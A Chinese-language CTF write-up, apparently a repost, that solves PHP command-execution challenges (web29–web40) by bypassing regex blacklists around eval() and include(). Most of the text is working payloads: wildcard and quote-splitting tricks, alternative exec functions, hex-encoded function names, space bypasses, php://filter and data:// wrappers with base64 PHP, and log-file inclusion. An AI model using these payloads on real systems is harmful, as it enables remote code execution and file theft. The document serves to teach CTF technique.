文章目錄
- web 29
- web 30
- web 31
- web32
- web33-36
- web37
- web38
- web40
- 參考文章
web 29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我這里只想到五種簡便的方法:
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//轉義字符繞過
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
還有很多姿勢,畢竟等于沒過濾
web 30
在上一道題的基礎上多了system和php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
但是我們可以用其他函式鴨
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號 同shell_exec()
payload:
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
還有上一道題的很多payload都可以使用
web 31
過濾了cat\sort等,空格也被過濾了嘗試了一堆方法無果,嘗試搞騷得
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
cat被過濾
more:一頁一頁的顯示檔案內容
less:與 more 類似 head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是
cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看 file -f:報錯出具體內容 grep
1、在當前目錄中,查找后綴有 file 字樣的檔案中包含 test 字串的檔案,并列印出該字串的行,此時,可以使用如下命令: grep test *file strings
payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等價于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必須加轉義字符
還有其他姿勢:
首先print_r(scandir(dirname(__FILE__)));查看當前目錄下檔案
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮顯示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web32
小知識:include不用括號,分號可以用?>代替,
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web33-36
payload:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>
web37
payload
c=data://text/palin,<?php system("nl fla*");?>
還可以配合UA頭執行日志包含
c=/var/log/nginx/access.log
web38
在上一道題的基礎上過濾了php,和file
所以
c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以日志包含
c=/var/log/nginx/access.log
web40
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
payload
?c=data://text/plain,<?php system(“cat f*”);?>
參考文章
CTF之命令執行繞過總結
CTF命令執行
nginx(一)之默認組態檔
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/225938.html
標籤:其他
